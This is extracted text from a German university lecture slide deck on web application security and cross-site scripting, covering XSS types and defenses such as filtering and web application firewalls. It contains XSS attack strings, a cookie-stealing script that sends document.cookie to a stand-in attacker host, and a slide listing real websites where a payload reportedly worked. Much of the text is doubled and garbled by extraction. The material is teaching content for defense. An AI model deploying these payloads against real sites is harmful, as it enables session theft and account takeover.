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Ei l it

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Einleitung

•• WebWeb‐‐basierte Anwendungen Teil unseres basierte Anwendungen Teil unseres 
AlltagsAlltagsgg

•• Geben dabei persönliche Daten preisGeben dabei persönliche Daten preis

Ab h B ib G f hAb h B ib G f h•• Aber auch Betreiber neuen Gefahren Aber auch Betreiber neuen Gefahren 
ausgesetztausgesetzt

•• Deswegen mit Bedrohungen beschäftigenDeswegen mit Bedrohungen beschäftigen
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Zi l t

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Zielsetzung

•• Für Thematik sensibilisierenFür Thematik sensibilisieren

•• Fragen klären:Fragen klären:Fragen klären:Fragen klären:
Wie sehen die Gefahren aus?Wie sehen die Gefahren aus?

W l h T il d A d ü hüW l h T il d A d ü hüWelche Teile der Anwendung müssen geschützt Welche Teile der Anwendung müssen geschützt 
werden?werden?

Wo findet sich Hilfe zum Thema?Wo findet sich Hilfe zum Thema?
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I h lt i h iInhaltsverzeichnis

1.1. AngriffsebenenAngriffsebenen

2.2. Angriffsmethode (XSS)Angriffsmethode (XSS)2.2. Angriffsmethode (XSS)Angriffsmethode (XSS)
2.1. Serverseitiges XSS2.1. Serverseitiges XSS

2 2 Cli i i XSS2 2 Cli i i XSS2.2. Clientseitiges XSS2.2. Clientseitiges XSS

3.3. Methoden zum SchutzMethoden zum Schutz

4.4. LiveLive‐‐HackHack

55 S hl f lS hl f l5.5. SchlussfolgerungSchlussfolgerung
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Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

ANGRIFFSEBENEN
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A iff b

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Angriffsebenen

•• Web Web ApplicationApplication SecuritySecurity StatisticsStatistics Project des Project des 
WASC (2006)WASC (2006)( )( )

•• Überblick über Schwachstellen in Überblick über Schwachstellen in 
WebanwendungenWebanwendungenWebanwendungenWebanwendungen

•• Unterschiedliche Scanner für unterschiedliche Unterschiedliche Scanner für unterschiedliche 
EbenenEbenen
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V l bilit t k

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Vulnerability stack

A iff b hAngriffsebenen nach
Jeremiah Grossman [WAS06]
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Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

ANGRIFFSMETHODEN
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St ti tik b i (I)

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Statistikergebnisse (I)

Prozentsatz der angreifbaren Webseiten, nach Angriffsklassen [WAS06]
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St ti tik b i (II)

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Statistikergebnisse (II)
Häufigsten Schwachstellen nach Angriffsklassen [WAS06]Häufigsten Schwachstellen, nach Angriffsklassen [WAS06]
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T 10 d OWASP (2007)

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Top 10 der OWASP (2007)

C SiC Si S i iS i i1.1. Cross Site Cross Site ScriptingScripting
2.2. InjectionInjection FlawsFlaws (u. a. SQL (u. a. SQL InjectionInjection))

ll ll3.3. MeliciousMelicious File File ExecutionExecution
4.4. InsecureInsecure DirectDirect ObjectObject ReferenceReference
5.5. Cross Site Cross Site RequestRequest ForgeryForgery
6.6. Information Information LeakageLeakage and and InproperInproper Error HandlingError Handling
7.7. Broken Broken AuthenticationAuthentication and Session Managementand Session Management
8.8. InsecureInsecure CryptographieCryptographie StorageStorage
9.9. InsecureInsecure CommunicationsCommunications
10.10. FailureFailure to to RestrictRestrict URL AccessURL Access
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XSS

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

XSS

i i h i li h h ib di i h i li h h ib d•• Keine einheitlichen Beschreibungen oder Keine einheitlichen Beschreibungen oder 
DefinitionenDefinitionen

•• XSS: ausführbarer Code über eine Webseite XSS: ausführbarer Code über eine Webseite 
verteilt, im Browser des Anwenders ausgeführtverteilt, im Browser des Anwenders ausgeführt, g, g

•• Meist HTML/JavaScriptMeist HTML/JavaScript
Ziel: Code im Browser des Anwenders ausführenZiel: Code im Browser des Anwenders ausführen•• Ziel: Code im Browser des Anwenders ausführenZiel: Code im Browser des Anwenders ausführen

•• Zweck: Zweck: AccountAccount des Benutzers übernehmen, des Benutzers übernehmen, 
Browser auf andere Seite umleiten oder Browser auf andere Seite umleiten oder 
betrügerischen Inhalt zeigenbetrügerischen Inhalt zeigen
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S iti XSS

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Serverseitiges XSS

•• CommandCommand‐‐ExecutionExecution‐‐AngriffeAngriffe

•• Daten des Servers erspähen, in ServerDaten des Servers erspähen, in ServerDaten des Servers erspähen, in Server Daten des Servers erspähen, in Server 
eindringen, Daten verändern, Dienste eindringen, Daten verändern, Dienste lahmlegenlahmlegen

A iff f hi dli h S hi h ö li hA iff f hi dli h S hi h ö li h•• Angriff auf unterschiedlichen Schichten möglichAngriff auf unterschiedlichen Schichten möglich

•• Auch als temporäres XSS bekanntAuch als temporäres XSS bekanntpp

•• Information Information DisclosureDisclosure, Vorbereitung für , Vorbereitung für 
k l A iff b hk l A iff b h P tP tkomplexere Angriffe, aber auch komplexere Angriffe, aber auch ProtscansProtscans, , 
Server Server DoSDoS oder oder BruteBrute Force Attacken möglichForce Attacken möglich
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Cli t iti XSS

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Clientseitiges XSS

•• Angriff richtet sich gegen Benutzer einer Angriff richtet sich gegen Benutzer einer 
bestimmten Webseitebestimmten Webseite

•• Vertrauensverhältnis von Nutzer N zu Vertrauensverhältnis von Nutzer N zu 
Webseite W ausgenutztWebseite W ausgenutztWebseite W ausgenutztWebseite W ausgenutzt

•• Bsp.: gefälschte Informationen präsentieren, Bsp.: gefälschte Informationen präsentieren, 
Daten vom Rechner von N erspähen, die von Daten vom Rechner von N erspähen, die von 
Sicherheitseinstellungen eigentlich nur an WSicherheitseinstellungen eigentlich nur an WSicherheitseinstellungen eigentlich nur an W Sicherheitseinstellungen eigentlich nur an W 
gesendet werden dürfengesendet werden dürfen
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A iff t i

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Angriffsstrings

•• Viele Quellen im InternetViele Quellen im Internet

';alert(String fromCharCode(88 83 83))//\';alert(String from;alert(String.fromCharCode(88,83,83))//\ ;alert(String.from
CharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))/
/\";alert(String.fromCharCode(88,83,83))//--
></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</></SCRIPT> > ><SCRIPT>alert(String.fromCharCode(88,83,83))</
SCRIPT>

<IMG """><SCRIPT>alert("XSS")</SCRIPT>"> 

<BODY ONLOAD=alert('XSS')>

Quelle: http://ha.ckers.org/xss.html
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R fl kti t XSS (I)

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Reflektiertes XSS (I)

•• Unterscheidet 3 Haupttypen von XSSUnterscheidet 3 Haupttypen von XSS

•• Reflektiertes XSS am häufigstenReflektiertes XSS am häufigstenReflektiertes XSS am häufigstenReflektiertes XSS am häufigsten

•• Opfer muss präparierte URL anklickenOpfer muss präparierte URL anklicken

•• In In VariablenparameternVariablenparametern der URL wird der der URL wird der 
Schadcode verstecktSchadcode versteckt

•• Aktuelle Beispiele auf Aktuelle Beispiele auf PhishmarktPhishmarkt
(http://baseportal com/baseportal/phishmarkt/at)(http://baseportal com/baseportal/phishmarkt/at)(http://baseportal.com/baseportal/phishmarkt/at)(http://baseportal.com/baseportal/phishmarkt/at)
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R fl kti t XSS (II)

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Browser

Reflektiertes XSS (II)
ServerBrowser Server

Datenbank

URL WebapplikationAnfrage durch Opfer

Webseite HTMLServer‐AntwortServer Antwort

[HEI07]
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R fl kti t XSS (III)

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Reflektiertes XSS (III)

•• Beispiel: personalisierte WebseiteBeispiel: personalisierte Webseite
http://portal.example/index.php?sessionid=12312312&username=Joe

http://portal.example/index.php?sessionid=12312312&username=%3C%73%

JavaScript zum Cookie Diebstahl (URL encoded)

p p p p p
63%72%69%70%74%3E%64%6F%63%75%6D%65%6E%74%2E%6C%6F%63%61%74%69%6F%6
E%3D%27%68%74%74%70%3A%2F%2F%61%74%74%61%63%6B%65%72%68%6F%73%74%2E
%65%78%61%6D%70%6C%65%2F%63%67%69%2D%62%69%6E%2F%63%6F%6F%6B%69%65%
73%74%65%61%6C%2E%63%67%69%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%673%74%65%61%6C%2E%63%67%69%3F%27%2B%64%6F%63%75%6D%65%6E%74%2E%63%6
F%6F%6B%69%65%3C%2F%73%63%72%69%70%74%3E

[C 04 S it 25f]

http://portal.example/index.php?sessionid=12312312&username=<script
>document.location='http://attackerhost.example/cgi-

Decodierte URL [Con04, Seite 25f]
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P i t t XSS (I)

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Persistentes XSS (I)

hh dd d b did b di•• Auch Auch storedstored oder beständiges XSS genannt, oder beständiges XSS genannt, 
ähnlich dem reflektierten XSSähnlich dem reflektierten XSS

•• Server spielt Schadcode aus URL als Webinhalt Server spielt Schadcode aus URL als Webinhalt 
an Browser zurückan Browser zurück

•• Zwischenstopp in ServerdatenbankZwischenstopp in Serverdatenbank
Liefert dadurch Schadcode auch an andereLiefert dadurch Schadcode auch an andere•• Liefert dadurch Schadcode auch an andere Liefert dadurch Schadcode auch an andere 
Anwender ausAnwender aus

•• Häufig der Angreifer, der den manipulierten Häufig der Angreifer, der den manipulierten 
Link zum ersten Mal klicktLink zum ersten Mal klickt
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P i t t XSS (II)

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Persistentes XSS (II)
Browser ServerBrowser Server

Datenbank

URL

1. Anfrage
durch Angreifer

URL Webapplikation
Nachfolgende Anfragen

durch Opfer

Webseite HTMLServer‐AntwortServer Antwort

[HEI07]
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P i t t XSS (III)

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Persistentes XSS (III)

•• Beispiel: Diebstahl eines Beispiel: Diebstahl eines CookiesCookies von von 
registriertem Nutzer (Bulletin Board)registriertem Nutzer (Bulletin Board)g ( )g ( )

•• Angreifer Angreifer hinterläßthinterläßt Nachricht mit folgendem Nachricht mit folgendem 
Code:Code:Code:Code:

<SCRIPT>
document.location='http://attackerhost.example/cgi-

B t li t di iB t li t di i C kiC ki i di d

bin/cookiesteal.cgi?'+document.cookie
</SCRIPT>

[C 04 S it 25]•• Benutzer liest dies, sein Benutzer liest dies, sein CookieCookie wird wird 
gestohlen, gestohlen, AccountAccount ist kompromittiertist kompromittiert

[Con04, Seite 25]
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L k l XSS (I)

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Lokales XSS (I)

•• AngiffAngiff spielt sich auf Rechner des Anwenders spielt sich auf Rechner des Anwenders 
abab

•• Tritt besonders bei Web 2.0 Anwendungen aufTritt besonders bei Web 2.0 Anwendungen auf

S li f f hl h f S iS li f f hl h f S i•• Server liefert nur fehlerhafte Script Server liefert nur fehlerhafte Script 
(Java/JavaScript) an Browser, aber nicht den (Java/JavaScript) an Browser, aber nicht den 
SchadcodeSchadcode
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L k l XSS (II)

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Lokales XSS (II)
Browser ServerBrowser Server

DatenbankURL
A f d hAnfrage durch

Opfer

Scriptcode Webapplikation

Server‐Antwort

Webseite Scriptcode

DOM‐Zugriffe

HTMLServer‐Antwort

[HEI07]

13.02.2008 Fachhochschule Köln     Master Medieninformatik     IT Sicherheit  WS 07/08    Enriko Podehl 23

Bug Schadcode



L k l XSS (III)

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Lokales XSS (III)

•• Baumartige Baumartige DocumentDocument ObjectObject Model, dass ganze Model, dass ganze 
Webseite repräsentiert, spielt besondere RolleWebseite repräsentiert, spielt besondere Rolle

•• Daher Bezeichnung: Daher Bezeichnung: DOMDOM‐‐basiertesbasiertes XSSXSS

•• Über Zugriff aufÜber Zugriff auf DOMDOM BaumBaum dynamische Änderungdynamische Änderung•• Über Zugriff auf Über Zugriff auf DOMDOM‐‐BaumBaum dynamische Änderung dynamische Änderung 
an der dargestellten Webseite möglichan der dargestellten Webseite möglich

•• Hier kopiert fehlerhaftes browserseitiges Hier kopiert fehlerhaftes browserseitiges 
AnwendungsscriptAnwendungsscript den Schadcode direkt aus der den Schadcode direkt aus der 
URL per URL per DOMDOM‐‐ZugriffZugriff in angezeigte Webseitein angezeigte Webseite
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F it

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Fazit

•• Angriffsmethoden hängen oft zusammen oder Angriffsmethoden hängen oft zusammen oder 
treten in Kombination auf (z. B. XSS mit SQL treten in Kombination auf (z. B. XSS mit SQL ((
InjectionInjection, HTTP Response Splitting oder CSRF), HTTP Response Splitting oder CSRF)

Abgrenzung dadurch schwierigAbgrenzung dadurch schwierig•• Abgrenzung dadurch schwierigAbgrenzung dadurch schwierig

•• Größte Schwachstelle: unzureichende InputGrößte Schwachstelle: unzureichende Input‐‐
und Outputund Output‐‐FilterungFilterung
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Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

METHODEN ZUM SCHUTZ
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W b hi ld

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Webshields

A h W bA h W b A li tiA li ti Fi llFi ll Filt D t tFilt D t t•• Auch Web Auch Web ApplicationApplication FirewallFirewall, Filtern Datenstrom , Filtern Datenstrom 
zwischen Browser und Webanwendungzwischen Browser und Webanwendung
Tritt unzulässiges Eingabemuster auf wird TransferTritt unzulässiges Eingabemuster auf wird Transfer•• Tritt unzulässiges Eingabemuster auf, wird Transfer Tritt unzulässiges Eingabemuster auf, wird Transfer 
unterbrochen oder anders reagiertunterbrochen oder anders reagiert

•• EinigeEinige WebshieldsWebshields können auch Daten vomkönnen auch Daten vom•• Einige Einige WebshieldsWebshields können auch Daten vom können auch Daten vom 
Webserver an den Browser überwachenWebserver an den Browser überwachen

•• Erkennen nicht alle Angriffsformen dient eher alsErkennen nicht alle Angriffsformen dient eher als•• Erkennen nicht alle Angriffsformen, dient eher als Erkennen nicht alle Angriffsformen, dient eher als 
Ergänzung (Second Line of Ergänzung (Second Line of DefenseDefense))

•• Integration tlw schwierig höhere LastanforderungIntegration tlw schwierig höhere LastanforderungIntegration tlw. schwierig, höhere Lastanforderung Integration tlw. schwierig, höhere Lastanforderung 
und Abhängigkeit zu anderen Systemen (im und Abhängigkeit zu anderen Systemen (im 
Vergleich zu Netzwerk Vergleich zu Netzwerk FirewallsFirewalls))gg ))
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W bS

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

WebScanner

P fü P t ti t tP fü P t ti t t•• Programme für PenetrationstestsProgramme für Penetrationstests
•• Untersuchen Anwendungen auf bekannte Untersuchen Anwendungen auf bekannte 
SchwachstellenSchwachstellenSchwachstellenSchwachstellen

•• Auf ClientAuf Client‐‐Computer installiertComputer installiert
Vi PhVi Ph•• Vier PhasenVier Phasen

•• Crawl/Crawl/ScanScan
•• AnalyseAnalyse•• AnalyseAnalyse
•• AuditAudit/Penetrationstest/Penetrationstest
•• ReportingReporting

•• Sinnvolle Tools, ersetzen aber keine Experten Sinnvolle Tools, ersetzen aber keine Experten 
oder fehlendes oder fehlendes KnowKnow ‐‐howhow
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I t d O t t Filt

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Input‐ und Output‐Filterung

ililInputInput‐‐FilterungFilterung
Eingehende Daten (Formulare, URL) decodieren, Eingehende Daten (Formulare, URL) decodieren, 
validierenvalidieren, filtern, filtern
Whitelisting ist Whitelisting ist BlacklistingBlacklisting vorzuziehenvorzuziehen
Viele kleine Filter erstellen, komplexe so nachbildenViele kleine Filter erstellen, komplexe so nachbilden

O t tO t t FiltFiltOutputOutput‐‐FilterungFilterung
Ausgabe darf keinen ausführbaren Code enthaltenAusgabe darf keinen ausführbaren Code enthalten
Solche Zeichen Solche Zeichen invalidiereninvalidieren
HeaderHeader Manipulation verhindernManipulation verhindern
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Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

LIVE‐HACK
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Li H k

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Live‐Hack

';alert(String.fromCharCode(88,83,83))//\';alert(String.from
CharCode(88,83,83))//";alert(String.fromCharCode(88,83,83))/
/\";alert(String.fromCharCode(88,83,83))//--

/ i 88 83 83 /></SCRIPT>">'><SCRIPT>alert(String.fromCharCode(88,83,83))</
SCRIPT>

•• Beispielangriff durchführenBeispielangriff durchführen

•• Angriffsstring bei PHPIDS analysierenAngriffsstring bei PHPIDS analysieren•• Angriffsstring bei PHPIDS analysierenAngriffsstring bei PHPIDS analysieren

•• Erfolgreich bei: Erfolgreich bei: 
http://www.boxxet.com/Giorgio_Armani/Source:blog.buchhttp://www.boxxet.com/Giorgio_Armani/Source:blog.buch‐‐clubclub‐‐net.denet.de

http://www.bam.de/de/basis/suche/index.htmhttp://www.bam.de/de/basis/suche/index.htm

http://217.79.220.15//exe.php3http://217.79.220.15//exe.php3
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Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

SCHLUSSFOLGERUNG
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S hl f l

Einleitung Angriffsebenen Angriffsmethode Methoden zum Schutz Live‐Hack Schlussfolgerung

Schlussfolgerung

•• Sicherheit in WebSicherheit in Web‐‐basierten Anwendungen basierten Anwendungen 
sehr ernst nehmensehr ernst nehmen

•• Vielfältige Bedrohungen, XSS besonders Vielfältige Bedrohungen, XSS besonders 
gefährlich (Kombinationen mit anderengefährlich (Kombinationen mit anderengefährlich (Kombinationen mit anderen gefährlich (Kombinationen mit anderen 
Angriffsklassen)Angriffsklassen)

•• Filter und Scanner alleine reichen nicht ausFilter und Scanner alleine reichen nicht aus

•• Besonders sensibel für InputBesonders sensibel für Input‐‐ und Outputund Output‐‐•• Besonders sensibel für InputBesonders sensibel für Input‐‐ und Outputund Output‐‐
FilterungFilterung
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